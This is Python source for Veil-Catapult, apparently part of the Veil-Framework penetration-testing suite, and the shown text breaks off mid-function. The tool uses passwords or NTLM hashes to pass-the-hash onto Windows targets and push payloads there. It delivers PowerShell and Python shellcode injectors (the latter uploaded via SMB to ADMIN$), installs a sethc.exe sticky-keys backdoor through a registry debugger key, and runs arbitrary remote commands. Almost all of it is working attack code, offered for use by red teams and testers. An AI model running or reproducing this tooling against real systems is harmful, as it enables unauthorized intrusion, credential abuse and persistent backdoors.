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Veil-Catapult.py
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Veil-Catapult.py
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#!/usr/bin/python
"""
Veil-Catapult 1.1
By: @harmj0y
Payload delivery tool and a part of the [Veil-Framework](www.veil-framework.com).
"""
import argparse, sys, re, os, threading, signal, readline, commands
import subprocess, time, base64, datetime, ConfigParser
veil_evasion_installed = True
# check for the Impacket installation
try:
from impacket import smbserver
from impacket.smbconnection import *
except ImportError:
print "\n"
print "\n [!] Impacket not installed"
print "\n [*] Executing ./setup.sh"
time.sleep(2)
os.system('./setup.sh')
time.sleep(2)
# check for passing-the-hash (pth-wmis/pth-winexe)
out = commands.getoutput("pth-wmis")
if "not found" in out:
print "\n"
print "\n [!] passing-the-hash not installed"
print '\n [*] Executing ./setup.sh'
time.sleep(2)
os.system('./setup.sh')
time.sleep(2)
# try to find and import the Veil-Framework master settings.py config file
if os.path.exists("/etc/veil/settings.py"):
try:
sys.path.append("/etc/veil/")
import settings
# append this so we can do relative imports of packages
try:
sys.path.append(settings.VEIL_EVASION_PATH)
except AttributeError:
print "\n [*] Executing ./setup.sh"
os.system('./setup.sh')
# Veil-Evasion imports
from modules.common import controller
from modules.common import supportfiles
from modules.common import helpers
from modules.common import completers
from modules.common import shellcode
from modules.payloads.powershell.shellcode_inject import virtual
# set a flag if Veil-Evasion isn't installed
except ImportError:
veil_evasion_installed = False
else:
# if the settings file isn't found, try to run the update script
# mark that Veil-Evasion isn't installed so we can disable
# linked functionality later
veil_evasion_installed = False
os.system('clear')
print '========================================================================='
print ' Veil First Run Detected... Initializing Script Setup...'
print '========================================================================='
time.sleep(2)
# run the config if it hasn't been run
print '\n [*] Executing ./setup.sh...'
os.system('./setup.sh')
time.sleep(2)
# check for the config again and error out if it can't be found.
if os.path.exists("/etc/veil/settings.py"):
try:
sys.path.append("/etc/veil/")
import settings
# Veil-Evasion imports
sys.path.append(settings.VEIL_EVASION_PATH)
print "PATH:",settings.VEIL_EVASION_PATH
from modules.common import controller
from modules.common import supportfiles
from modules.common import helpers
from modules.common import completers
from modules.common import shellcode
from modules.payloads.powershell.shellcode_inject import virtual
veil_evasion_installed = True
# Veil-Evasion not installed, screw it
except ImportError as e:
print "error:",e
class ThreadedSMBServer(threading.Thread):
"""
Threaded SMB server that can be spun up locally.
Hosts the files in /tmp/shared/
"""
def __init__(self):
threading.Thread.__init__(self)
def run(self):
# Here we write a mini config for the server
smbConfig = ConfigParser.ConfigParser()
smbConfig.add_section('global')
smbConfig.set('global','server_name','SERVICE')
smbConfig.set('global','server_os','UNIX')
smbConfig.set('global','server_domain','WORKGROUP')
smbConfig.set('global','log_file','/tmp/smb.log')
smbConfig.set('global','credentials_file','')
# Let's add a dummy share, /tmp/shared/, as HOST\SYSTEM\
smbConfig.add_section("SYSTEM")
smbConfig.set("SYSTEM",'comment','system share')
smbConfig.set("SYSTEM",'read only','yes')
smbConfig.set("SYSTEM",'share type','0')
smbConfig.set("SYSTEM",'path',"/tmp/shared/")
# IPC always needed
smbConfig.add_section('IPC$')
smbConfig.set('IPC$','comment','')
smbConfig.set('IPC$','read only','yes')
smbConfig.set('IPC$','share type','3')
smbConfig.set('IPC$','path')
self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
print ' [*] setting up SMB server...'
self.smb.processConfigFile()
try:
self.smb.serve_forever()
except:
pass
def shutdown(self):
print '\n [*] killing SMB server...'
self.smb.shutdown()
self.smb.socket.close()
self.smb.server_close()
self._Thread__stop()
####################################################################################
#
# Command helpers
#
####################################################################################
def runCommand(cmd):
"""
run a system command locally and return the output
"""
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.communicate()[0]
def wmisCommand(host, user, password, cmd):
"""
use wmis to execute a specific command on a host with the specified creds
utilizes pth-wmis -> "apt-get install passing-the-hash" is required
"""
wmisCMD = "pth-wmis -U '%s%%%s' //%s '%s'"%(user, password, host, cmd)
return runCommand(wmisCMD)
def winexeCommand(host, user, password, cmd, exe=False, singleCMD=False):
"""
use pth-winexe to execute a specific command on a host with the specified creds
"apt-get install passing-the-hash" is required
"""
winexeCMD = ""
if singleCMD:
winexeCMD = "pth-winexe -U '%s%%%s' --system --uninstall //%s 'cmd.exe /C %s'"%(user, password, host, cmd)
else:
# .exe's are launched with the /B background command, other commands without
if exe:
winexeCMD = "pth-winexe -U '%s%%%s' --system --uninstall //%s 'cmd.exe /C start /B %s'"%(user, password, host, cmd)
else:
winexeCMD = "pth-winexe -U '%s%%%s' --system --uninstall //%s 'cmd.exe /C start %s'"%(user, password, host, cmd)
return runCommand(winexeCMD)
def color(string, status=True, warning=False, bold=True):
"""
Change text color for the linux terminal, defaults to green.
Set "warning=True" for red.
"""
attr = []
if status:
# green
attr.append('32')
if warning:
# red
attr.append('31')
if bold:
attr.append('1')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
####################################################################################
#
# Menus
#
####################################################################################
def title():
"""
Print the tool title, with version.
"""
os.system('clear')
print "========================================================================="
print " Veil-Catapult: payload delivery system | [Version]: 1.1"
print '========================================================================='
print ' [Web]: https://www.veil-framework.com/ | [Twitter]: @veilframework'
print '========================================================================='
print ""
# print a warning if Veil-Evasion is not installed
if not veil_evasion_installed:
print color(" [!] Warning: install Veil-Evasion for full functionality\n", warning=True)
if settings.OPERATING_SYSTEM != "Kali":
print color("\n[!] Warning: only x86 Kali linux is currently supported", warning=True)
print color("[!] Continue at your own risk!\n", warning=True)
# check to make sure the current OS is supported,
# print a warning message if it's not and exit
if settings.OPERATING_SYSTEM == "Windows" or settings.OPERATING_SYSTEM == "Unsupported":
print color("\n[!] ERROR: your operating system is not current supported\n", warning=True)
sys.exit()
def mainMenu(args):
"""
Main/initial interaction menu.
"""
commands = [ ("1)", "Standalone payloads"),
("2)" , "EXE delivery"),
("3)" , "Cleanup"),
("4)" , "Exit") ]
choice = ""
while choice == "":
title()
print " Main Menu\n"
print " Available options:\n"
for (cmd, desc) in commands:
print "\t%s\t%s" % ('{0: <4}'.format(cmd), desc)
choice = raw_input("\n [>] Please enter a choice: ")
if choice == "1":
standaloneMenu(args)
elif choice == "2":
exeDeliveryMenu(args)
elif choice == "3":
cleanupMenu()
elif choice == "4":
raise KeyboardInterrupt
else:
choice = ""
def standaloneMenu(args):
"""
Menu to handle the selection of a standalone/non-exe payloads.
"""
commands = [ ("1)" , "Powershell injector"),
("2)" , "Barebones python injector"),
("3)" , "Sethc backdoor"),
("4)" , "Execute custom command"),
("5)" , "Back") ]
choice = ""
while choice == "":
title()
print " Standalone payloads\n"
print " Available options:\n"
for (cmd, desc) in commands:
print "\t%s\t%s" % ('{0: <4}'.format(cmd), desc)
choice = raw_input("\n [>] Please enter a choice: ")
if choice == "1":
powershellMenu(args)
elif choice == "2":
pythonMenu(args)
elif choice == "3":
sethcBackdoorMenu(args)
elif choice == "4":
customCommandMenu(args)
elif choice == "5":
mainMenu(args)
else:
choice = ""
def invokeMethodMenu(args):
"""
Short menu that allows for choosing the invocation method.
Right now just pth-wmis and pth-winexe.
"""
if args.wmis:
return "wmis"
elif args.winexe:
return "winexe"
else:
choice = raw_input(" [>] Use pth-[wmis] (default) or pth-[winexe]? ")
if "winexe" in choice.lower():
return "winexe"
else:
return "wmis"
def targetMenu(args):
"""
Menu for choosing target and username/creds options.
Used by various other methods/menus.
Returns: (targets, creds)
"""
targets = []
creds = ["",""]
# grab target/target list information if we didn't get anything passed
# on the command line by argument
if not args.tL and not args.t:
choice = ""
while choice == "":
try:
comp = completers.PathCompleter()
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(comp.complete)
except NameError: pass
choice = raw_input(" [>] Enter a target IP or target list: ")
if choice == "": continue # if nothing is specified, loop
# if we want to exit this menu with 'back', return an empty options
if choice.lower() == "back": return None
# check if the host given is an IP (otherwise assume it's a target list
if re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', choice):
targets.append(choice)
else:
try:
t = open(choice).readlines()
t = [x.strip() for x in t if x.strip() != ""]
targets += t
# likely a file that doesn't exist or something
except:
print color(" [!] Error reading file: " + choice, warning=True)
# set targets if we received command line arguments
if args.t:
targets.append(args.t)
# target list
if args.tL:
try:
t = open(args.tL).readlines()
t = [x.strip() for x in t if x.strip() != ""]
targets += t
except:
print color(" [!] Error reading file: " + choice, warning=True)
# if we got a hashdump style cred file passed
if args.cF:
if os.path.exists(args.cF):
try:
f = open(args.cF)
line = f.readlines()[0].strip()
f.close()
except:
print color(" [!] Error reading file: " + choice, warning=True)
parts = [x for x in line.split(":") if x != ""]
if len(parts) == 4:
args.U = parts[0]
args.P = parts[2] + ":" + parts[3]
else:
print color(" [!] Warning: invalid pwdump file passed as an argument", warning=True)
else:
print color(" [!] Warning: file %s does not exist" %(args.cF), warning=True)
# make sure we have a username and password/hash
if not args.U:
choice = ""
while choice == "":
choice = raw_input(" [>] Enter a [domain/]username or credump file: ")
if choice == "": continue # if nothing is specified, loop
if os.path.exists(choice):
f = open(choice)
line = f.readlines()[0].strip()
f.close()
parts = [x for x in line.split(":") if x != ""]
if len(parts) == 4:
args.U = parts[0]
args.P = parts[2] + ":" + parts[3]
else:
print color(" [!] Warning: invalid pwdump file", warning=True)
continue
else:
# if it's not a file, assume it's a user
creds[0] = choice
else:
creds[0] = args.U
if not args.P:
choice = ""
while choice == "":
choice = raw_input(" [>] Enter a password or LM:NTLM hash: ")
if choice == "": continue # if nothing is specified, loop
creds[1] = choice
else:
creds[1] = args.P
return (targets, creds)
def exeDeliveryMenu(args):
"""
Menu for EXE delivery.
Will take a path to a custom .exe or invoke Veil-Evasion.
"""
title()
print " EXE delivery\n"
payloadPath = ""
# if we're using a custom payload, set it
if args.exe:
payloadPath = args.exe
# otherwise, ask for user input
else:
choice = ""
# if no payload specified on the command line, prompt the user
if not args.p:
try:
comp = completers.PathCompleter()
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(comp.complete)
except NameError: pass
choice = raw_input(" [>] Enter EXE path, or [enter] to use Veil-Evasion: ")
if choice != "":
payloadPath = choice
else:
# print a warning and exit if Veil-Evasion is not installed
if not veil_evasion_installed:
print color("\n [!] Warning: Veil-Evasion required for this functionality", warning=True)
print color(" [!] see https://github.com/Veil-Framework/\n", warning=True)
sys.exit()
# instantiate the main Veil-Evasion controller object so we can use its menus
con = controller.Controller()
options = {}
if args.p:
if args.msfpayload:
options['msfpayload'] = [args.msfpayload, args.msfoptions]
if args.c:
options['required_options'] = {}
for option in args.c:
name,value = option.split("=")
options['required_options'][name] = [value, ""]
con.SetPayload(args.p, options)
code = con.GeneratePayload()
payloadPath = con.OutputMenu(con.payload, code, showTitle=False, interactive=False, OutputBaseChoice="process")
# if we're using the full interactive menu for Veil-Evasion
else:
payloadPath = con.MainMenu()
# if we see the setting to spawn the handler for this payload
if settings.SPAWN_CATAPULT_HANDLER.lower() == "true":
# build the path to what the handler should be and
handlerPath = settings.HANDLER_PATH + payloadPath.split(".")[0].split("/")[-1] + "_handler.rc"
cmd = "gnome-terminal --tab -t \"Veil-Evasion Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\""
# invoke msfconsole with the handler script in a new tab
os.system(cmd)
if payloadPath == "":
mainMenu(args)
title()
print " EXE delivery\n"
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
# check if we got the trigger method passed by command line
choice = args.act
if not choice:
title()
print " EXE delivery\n"
print " [>] Would you like to [h]ost the .exe or [u]pload it (default)? "
choice = raw_input(color(" [>] Warning: python payloads MUST be uploaded! : ", warning=True))
if choice == "" or choice.lower().strip()[0] == "u":
# prompt for triggering unless specified not to
if not args.nc:
raw_input("\n [>] Press enter to launch: ")
# actually do the upload and triggering of the payload
uploadTrigger(payloadPath, triggerMethod, targets, username, password)
else:
# if we're hosting the payload and psexec'ing the remote network path
localHost = ""
if args.lip:
localHost = args.lip
while localHost == "":
try:
comp = completers.IPCompleter()
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(comp.complete)
except NameError: pass
localHost = raw_input("\n [>] Please enter local IP, [tab] for eth0: ")
if localHost == "": continue # if nothing is specified, loop
# prompt for triggering unless specified not to
if not args.nc:
raw_input("\n [>] Press enter to launch: ")
hostTrigger(payloadPath, triggerMethod, targets, username, password, localHost)
def cleanupMenu():
"""
Menu for running a cleanup script.
"""
title()
print " Cleanup\n"
try:
comp = completers.PathCompleter()
readline.set_completer_delims(' \t\n;')
readline.parse_and_bind("tab: complete")
readline.set_completer(comp.complete)
except NameError: pass
script = ""
while script == "":
script = raw_input(" [>] Please enter a cleanup .rc script: ")
if script == "": continue
cleanup(script)
###############################################################
#
# Self-contained payload menus
#
###############################################################
def powershellMenu(args):
"""
Builds a powershell injector payload and then delivers it
with pth-wmis or pth-winexe.
"""
title()
print color(" Powershell shellcode injector\n")
# print a warning and exit if Veil-Evasion is not installed
if not veil_evasion_installed:
print color(" [!] Warning: Veil-Evasion required for this functionality", warning=True)
print color(" [!] see https://github.com/Veil-Framework/\n", warning=True)
sys.exit()
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
p = virtual.Payload()
# pull out any msfpayload payloads/options
if args.msfpayload:
p.shellcode.SetPayload([args.msfpayload, args.msfoptions])
# set custom shellcode if specified
elif args.custshell:
p.shellcode.setCustomShellcode(args.custshell)
# generate the powershell payload
code = p.generate()
title()
print color(" Powershell shellcode injector\n")
# prompt for triggering unless specified not to
if not args.nc:
raw_input(" [>] Press enter to launch: ")
print ""
# for each target, execute the powershell command using the invocation method
for target in targets:
print " [*] Triggering powershell injector on %s" %(target)
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + code)
else:
out = winexeCommand(target, username, password, code)
# make sure the wmis/winexe command was successful as best we can
if out:
if triggerMethod == "wmis":
if "Success" not in out:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
print color("\n [*] Powershell delivery complete!\n")
def pythonMenu(args):
"""
Uploads a python bare installation in a zip, along with an trusted "7za.exe"
Then issues two pth-wmis/pth-winexe commands: one to unzip the python install,
and a second to invoke the python interpreter with a command line script specification.
End result: only trusted binaries hit disk, no services are created,
and whatever shellcode you want is injected : )
Concept originally found at http://r00tsec.blogspot.com/2011/10/python-one-line-shellcode.html
"""
title()
print color(" Python barebones shellcode injector\n")
# print a warning and exit if Veil-Evasion is not installed
if not veil_evasion_installed:
print color(" [!] Warning: Veil-Evasion required for this functionality", warning=True)
print color(" [!] see https://github.com/Veil-Framework/\n", warning=True)
sys.exit()
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
smb_domain, smb_username = "", ""
# if username = domain/username, extract the domain
# used for smb,.login()
if len(username.split("/")) == 2:
smb_domain, smb_username = username.split("/")
else:
# if no domain, keep the username the same
smb_username = username
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
# nab up some shellcode
sc = shellcode.Shellcode()
# set the payload to use, if specified
if args.msfpayload:
sc.SetPayload([args.msfpayload, args.msfoptions])
# set custom shellcode if specified
elif args.custshell:
sc.setCustomShellcode(args.custshell)
# base64 our shellcode
b64sc = base64.b64encode(sc.generate().decode("string_escape"))
title()
print color(" Python barebones shellcode injector\n")
# prompt for triggering unless specified not to
if not args.nc:
raw_input(" [>] Press enter to launch: ")
for target in targets:
print ""
# try to login to the target over SMB
try:
smb = SMBConnection('*SMBSERVER', target, timeout=3)
if re.match(r'[0-9A-Za-z]{32}:[0-9A-Za-z]{32}', password):
lm,nt = password.split(":")
smb.login(smb_username, None, lmhash=lm, nthash=nt, domain=smb_domain)
else:
smb.login(smb_username, password, domain=smb_domain)
# error handling
except Exception as e:
if "timed out" in str(e).lower():
print color(" [!] Target %s not reachable" %(target), warning=True)
elif "connection refused" in str(e).lower():
print color(" [!] Target %s reachable but connection refused" %(target), warning=True)
elif "STATUS_LOGON_FAILURE" in str(e):
print color(" [!] SMB logon failure on %s (likely bad credentials)" %(target), warning=True)
else:
print color(" [!] Misc error logging into %s" %(target), warning=True)
continue # skip to the next target
try:
# reset the default timeout
#socket.setdefaulttimeout(defaultTimeout)
# upload the bare bones python install to
f = open("./includes/python.zip")
smb.putFile("ADMIN$", "\\Temp\\python.zip", f.read)
f.close()
# upload the trusted 7za program
f = open("./includes/7za.exe")
smb.putFile("ADMIN$", "\\Temp\\7za.exe", f.read)
f.close()
print color(" [*] python install successfully uploaded to " + target)
# close out the smb connection
smb.logoff()
except Exception as e:
#print " Exception:",e
if "The NETBIOS connection with the remote host timed out" in str(e):
print color(" [!] The NETBIOS connection with %s timed out" %(target), warning=True)
else:
print color(" [!] SMB file upload unsuccessful on %s" %(target), warning=True)
continue
# the command to unzip the python environment
unzipCommand = "C:\\\\Windows\\\\Temp\\\\7za.exe x -y -oC:\\\\Windows\\\\Temp\\\\ C:\\\\Windows\\\\Temp\\\\python.zip"
# our python 1-liner shellcode injection command
pythonCMD = "C:\\\\Windows\\\\Temp\\\\python\\\\python.exe -c \"from ctypes import *;a=\\\"%s\\\".decode(\\\"base_64\\\");cast(create_string_buffer(a,len(a)),CFUNCTYPE(c_void_p))()\"" %(b64sc)
time.sleep(1)
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + unzipCommand)
else:
out = winexeCommand(target, username, password, unzipCommand)
# make sure the wmis/winexe command was successful as best we can
success = True
if out:
if triggerMethod == "wmis":
if "Success" not in out:
success = False
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
success = False
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
success = False
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
success = False
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
# if the unzip command is successful, continue to the second command for invocation
if success:
time.sleep(2)
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + pythonCMD)
else:
out = winexeCommand(target, username, password, pythonCMD)
# make sure the wmis/winexe command was successful as best we can
if out:
if triggerMethod == "wmis":
if "Success" not in out:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
print color(" [*] python injector triggered on " + target)
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [*] python injector triggered on " + target)
print color("\n [*] Python injection complete!\n")
def sethcBackdoorMenu(args):
"""
Sets up a sticky-keys backdoor on a specified host using a single
reg query through pth-wmis/pth-winexe
"""
title()
print color(" Sethc.exe sticky-keys backdoor\n")
cleanup = ""
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
# prompt for triggering unless specified not to
if not args.nc:
raw_input(" [>] Press enter to launch: ")
title()
print color(" Sethc.exe sticky-keys backdoor\n")
# the registry command to set up the sethc stickkeys backdoor
sethcCommand = "REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /v Debugger /t REG_SZ /d \"C:\\Windows\\System32\\cmd.exe\""
# for each target, execute the sethc.exe reg command using the invocation method
for target in targets:
print ""
print color(" [*] Installing sethc backdoor on %s" %(target))
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + sethcCommand)
else:
out = winexeCommand(target, username, password, sethcCommand)
# make sure the wmis/winexe command was successful as best we can
if out:
if triggerMethod == "wmis":
if "Success" not in out:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
cleanup += target + " " + creds[0] + " " + creds[1] + " SETHC wmis\n"
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
cleanup += target + " " + creds[0] + " " + creds[1] + " SETHC winexe\n"
# only write out our cleanup script if there were some results
if cleanup != "":
cleanupFileNameBase = datetime.datetime.fromtimestamp(time.time()).strftime('%m.%d.%Y.%H%M%S') + ".rc"
cleanupFileName = os.path.join(settings.CATAPULT_RESOURCE_PATH, cleanupFileNameBase)
cleanupFile = open(cleanupFileName, 'w')
cleanupFile.write(cleanup)
cleanupFile.close()
print "\n [*] Cleanup script written to " + cleanupFileNameBase
print " [*] run with \"./Veil-Catapult.py -r " + cleanupFileName + "\"\n"
print color("\n [*] Sethc backdoor injection complete!\n")
def customCommandMenu(args):
"""
Executes a custom pth-wmis or pth-winexe command.
"""
title()
print color(" Custom command execution\n")
# get the targets and credentials
(targets, creds) = targetMenu(args)
username, password = creds[0], creds[1]
# get the invoke method, wmis or winexe
triggerMethod = invokeMethodMenu(args)
cmdChoice = ""
while cmdChoice == "":
cmdChoice = raw_input(" [>] Enter a command to execute: ")
# prompt for triggering unless specified not to
if not args.nc:
raw_input("\n [>] Press enter to launch: ")
title()
print color(" Custom command execution\n")
# for each target, execute the powershell command using the invocation method
for target in targets:
print ""
print color(" [*] Executing command on %s" %(target))
if triggerMethod == "wmis":
out = wmisCommand(target, username, password, "cmd.exe /c " + cmdChoice)
else:
out = winexeCommand(target, username, password, cmdChoice, singleCMD=True)
# make sure the wmis/winexe command was successful as best we can
if out:
if triggerMethod == "wmis":
if "Success" not in out:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out:
print color(" [!] Host "+target+" reachable but port not open", warning="True")
elif "NT_STATUS_ACCESS_DENIED" in out or "NT_STATUS_LOGON_FAILURE" in out:
print color(" [!] Credentials " + username + ":" + password + " failed on "+target, warning="True")
else:
print color(" [!] Misc error on "+target, warning="True")
else:
if "NT_STATUS_HOST_UNREACHABLE" in out or "NT_STATUS_NO_MEMORY" in out:
print color(" [!] Host "+target+" unreachable", warning="True")
elif "NT_STATUS_CONNECTION_REFUSED" in out: